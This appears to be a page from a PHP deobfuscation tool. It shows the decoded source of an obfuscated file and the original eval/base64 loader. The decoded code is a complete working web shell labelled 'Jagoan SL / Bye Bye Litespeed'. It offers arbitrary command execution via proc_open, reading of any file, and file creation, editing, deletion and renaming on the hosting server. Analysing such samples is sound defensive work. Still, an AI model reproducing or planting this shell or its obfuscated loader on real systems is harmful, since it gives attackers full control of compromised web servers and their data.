Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $enc = 'BiWjg0u3pgQA/h+f9/UddxubdmJS6fBoUjLz6CWzk0pkBW3WR6VtspwGajEIJNqYUhnYsa0yq7O..

Decoded Output download

?>b'<!DOCTYPE html>
<html>
<head>
    <title>.:: Jagoan SL ::.</title>
    <link href="https://fonts.googleapis.com/css?family=Protest Revolution" rel="stylesheet">
    <style>
        body {
             font-family: \'Protest Revolution\';
             color: red;
             margin: 0;
             padding: 0;
             text-shadow: 2px 2px 4px rgba(255, 0, 0, 0.5);
             background-image: url(\'https://iphoneswallpapers.com/wp-content/uploads/2022/09/iPhone-13-RGB-Neon-Frame.jpg\');
             background-size: cover;
             background-position: center;
}
        .container {
            width: 90%;
            margin: 20px auto;
            padding: 20px;
            background-color: #fff;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .result-box {
            width: 97.5%;
            height: 200px;
            resize: none;
            overflow: auto;
            font-family: \'Protest Revolution\';
            background-color: #f4f4f4;
            padding: 10px;
            border: 1px solid #ddd;
            margin-bottom: 10px;
        }
        hr {
            border: 0;
            border-top: 1px solid #ddd;
            margin: 20px 0;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        th, td {
            padding: 8px;
            text-align: left;
        }
        th {
            background-color: #f2f2f2;
        }
        tr:nth-child(even) {
            background-color: #f9f9f9;
        }
        tr:hover {
            background-color: #f2f2f2;
        }
        input[type="text"], input[type="submit"], textarea[name="file_content"] {
            width: calc(97.5% - 10px);
            margin-bottom: 10px;
            padding: 8px;
            max-height: 200px;
            resize: vertical;
            border: 1px solid #ddd;
            border-radius: 3px;
            font-family: \'Protest Revolution\';
        }
        input[type="submit"] {
            background-color: #4CAF50;
            color: white;
            font-family: \'Protest Revolution\';
            border: none;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #45a049;
        }
        .item-name {
            max-width: 200px;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
        td.size {
    width: 100px;
}

        .writable {
            color: green;
        }
        .not-writable {
            color: red;
        }
        .permission {
        font-weight: bold;
        width: 50px;
        height: 20px;
        text-align: center;
        line-height: 20px;
        overflow: hidden;
    }
    
    </style>
</head>
<body>
<div class="container">
<?php
$rootDirectory = realpath($_SERVER[\'DOCUMENT_ROOT\']);

function x($b)
{
    return base64_encode($b);
}

function y($b)
{
    return base64_decode($b);
}

foreach ($_GET as $c => $d) $_GET[$c] = y($d);

$currentDirectory = realpath(isset($_GET[\'d\']) ? $_GET[\'d\'] : $rootDirectory);
chdir($currentDirectory);

$viewCommandResult = \'\';

if ($_SERVER[\'REQUEST_METHOD\'] === \'POST\') {
    if (isset($_POST[\'folder_name\']) && !empty($_POST[\'folder_name\'])) {
        $newFolder = $currentDirectory . \'/\' . $_POST[\'folder_name\'];
        if (!file_exists($newFolder)) {
            mkdir($newFolder);
            echo \'<hr>Folder created successfully!\';
        } else {
            echo \'<hr>Error: Folder already exists!\';
        }
    } elseif (isset($_POST[\'file_name\']) && !empty($_POST[\'file_name\'])) {
        $fileName = $_POST[\'file_name\'];
        $newFile = $currentDirectory . \'/\' . $fileName;
        if (!file_exists($newFile)) {
            if (file_put_contents($newFile, $_POST[\'file_content\']) !== false) {
                echo \'<hr>File created successfully!\';
            } else {
                echo \'<hr>Error: Failed to create file!\';
            }
        } else {
            if (file_put_contents($newFile, $_POST[\'file_content\']) !== false) {
                echo \'<hr>File edited successfully!\';
            } else {
                echo \'<hr>Error: Failed to edit file!\';
            }
        }
    } elseif (isset($_POST[\'delete_file\'])) {
        $fileToDelete = $currentDirectory . \'/\' . $_POST[\'delete_file\'];
        if (file_exists($fileToDelete)) {
            if (unlink($fileToDelete)) {
                echo \'<hr>File deleted successfully!\';
            } else {
                echo \'<hr>Error: Failed to delete file!\';
            }
        } elseif (is_dir($fileToDelete)) {
            if (deleteDirectory($fileToDelete)) {
                echo \'<hr>Folder deleted successfully!\';
            } else {
                echo \'<hr>Error: Failed to delete folder!\';
            }
        } else {
            echo \'<hr>Error: File or directory not found!\';
        }
    } elseif (isset($_POST[\'rename_item\']) && isset($_POST[\'old_name\']) && isset($_POST[\'new_name\'])) {
        $oldName = $currentDirectory . \'/\' . $_POST[\'old_name\'];
        $newName = $currentDirectory . \'/\' . $_POST[\'new_name\'];
        if (file_exists($oldName)) {
            if (rename($oldName, $newName)) {
                echo \'<hr>Item renamed successfully!\';
            } else {
                echo \'<hr>Error: Failed to rename item!\';
            }
        } else {
            echo \'<hr>Error: Item not found!\';
        }
    } elseif (isset($_POST[\'cmd_input\'])) {
        $command = $_POST[\'cmd_input\'];
        $descriptorspec = [
            0 => [\'pipe\', \'r\'],
            1 => [\'pipe\', \'w\'],
            2 => [\'pipe\', \'w\']
        ];
        $process = proc_open($command, $descriptorspec, $pipes);
        if (is_resource($process)) {
            $output = stream_get_contents($pipes[1]);
            $errors = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            if (!empty($errors)) {
                $viewCommandResult = \'<hr><p>Result:</p><textarea class="result-box">\' . htmlspecialchars($errors) . \'</textarea>\';
            } else {
                $viewCommandResult = \'<hr><p>Result:</p><textarea class="result-box">\' . htmlspecialchars($output) . \'</textarea>\';
            }
        } else {
            $viewCommandResult = \'<hr><p>Error: Failed to execute command!</p>\';
        }
    } elseif (isset($_POST[\'view_file\'])) {
$fileToView = $currentDirectory . \'/\' . $_POST[\'view_file\'];
if (file_exists($fileToView)) {
$fileContent = file_get_contents($fileToView);
$viewCommandResult = \'<hr><p>Result: \' . $_POST[\'view_file\'] . \'</p><textarea class="result-box">\' . htmlspecialchars($fileContent) . \'</textarea>\';
} else {
$viewCommandResult = \'<hr><p>Error: File not found!</p>\';
}
}
}
echo \'<center>

<div class="fig-ansi">
<pre id="taag_font_ANSIShadow" class="fig-ansi"><span style="color: #4CAF50;">   <strong>  __    Bye Bye Litespeed   _____ __    
    __|  |___ ___ ___ ___ ___   |   __|  | v.1.2
|  |  | .\'| . | . | .\'|   |  |__   |  |__ 
|_____|__,|_  |___|__,|_|_|  |_____|_____|
                |___| ./Heartzz                      </strong> </span></pre>
</div>
</center>\';
echo \'<hr>curdir: \';
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = \'\';
foreach ($directories as $index => $dir) {
    if ($index == 0) {
        echo \'<a href="?d=\' . x($dir) . \'">\' . $dir . \'</a>\';
    } else {
        $currentPath .= DIRECTORY_SEPARATOR . $dir;
        echo \' / <a href="?d=\' . x($currentPath) . \'">\' . $dir . \'</a>\';
    }
}
echo \'<br>\';
echo \'<hr><form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'">\';
echo \'<input type="text" name="folder_name" placeholder="New Folder Name">\';
echo \'<input type="submit" value="Create Folder">\';
echo \'</form>\';

echo \'<form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'">\';
echo \'<input type="text" name="file_name" placeholder="Create New File / Edit Existing File">\';
echo \'<textarea name="file_content" placeholder="File Content (for new file) or Edit Content (for existing file)"></textarea>\';
echo \'<input type="submit" value="Create / Edit File">\';
echo \'</form>\';

echo \'<form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'"><input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form>\';
echo $viewCommandResult;
echo \'<div>\';
echo \'</div>\';
echo \'<table border=1>\';
echo \'<br><tr><th><center>Item Name</th><th><center>Size</th><th><center> View  </th><th><center>Delete </th><th>Permissions</th><th><center>Rename</th></tr></center></center></center>\';
foreach (scandir($currentDirectory) as $v) {
    $u = realpath($v);
    $s = stat($u);
    $itemLink = is_dir($v) ? \'?d=\' . x($currentDirectory . \'/\' . $v) : \'?\'.(\'d=\'.x($currentDirectory).\'&f=\'.x($v));
    $permission = substr(sprintf(\'%o\', fileperms($v)), -4);
    $writable = is_writable($v);
    echo \'<tr>
            <td class="item-name"><a href="\'.$itemLink.\'">\'.$v.\'</a></td>
            <td class="size">\'.filesize($u).\'</td>
            <td><form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'"><input type="hidden" name="view_file" value="\'.htmlspecialchars($v).\'"><input type="submit" value="View"></form></td>
            <td><form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'"><input type="hidden" name="delete_file" value="\'.htmlspecialchars($v).\'"><input type="submit" value="Delete"></form></td>
            <td class="permission \'.($writable ? \'writable\' : \'not-writable\').\'">\'.$permission.\'</td>
            <td><form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'"><input type="hidden" name="old_name" value="\'.htmlspecialchars($v).\'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
        </tr>\';
}

echo \'</table>\';
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == \'.\' || $item == \'..\') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
?>

</div>
</body>
</html>'

Did this file decode correctly?

Original Code

<?php
$enc = 'BiWjg0u3pgQA/h+f9/UddxubdmJS6fBoUjLz6CWzk0pkBW3WR6VtspwGajEIJNqYUhnYsa0yq7O8k+ylIX3xxtQDqLf2IOolVFlat/sXNG3x0sNNVNazuSRFprY6UueuQiChasc9Db51TqFzbpdv68uSZ4W0ybvOFriPRnrAmFx9MTF032DDoNdH0dGKrR12OcrFVil9laLQq/q4CbB6+0MOvcB/DOL7gGyVcbcQzG8Q6ddEvxWdhFk/2hmWKuW/YKrCxQXJM1ZdTvu1jHaBa2fW1uhJb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PsRqEnEN5rYQAnCr7Gwgj5L3IMVk0/BJG7ErsZIHUXD8lwrPj/OLDf+0xMkrACJW76v7P60r7eYBLvFrYsnksbfVppncZ++wFv9t+c1ukCwRkCJOJkAc0XeMTpndXNai5S6IpKvkIuvfXSuYGl3QVg9h8mtn82s9crpRzciX9wowzBwJe1XiCaHQ9gow3BU/GKQeA';
eval(base64_decode(base64_decode('WlhaaGJDZ2lQejRpTG1kNmRXNWpiMjF3Y21WemN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ=========')));exit;
?>

Function Calls

strrev 1
gzinflate 3
gzuncompress 2
base64_decode 3

Variables

$enc BiWjg0u3pgQA/h+f9/UddxubdmJS6fBoUjLz6CWzk0pkBW3WR6VtspwGajEI..

Stats

MD5 29b35e1ea362852e4bb2f4912e444c61
Eval Count 2
Decode Time 55 ms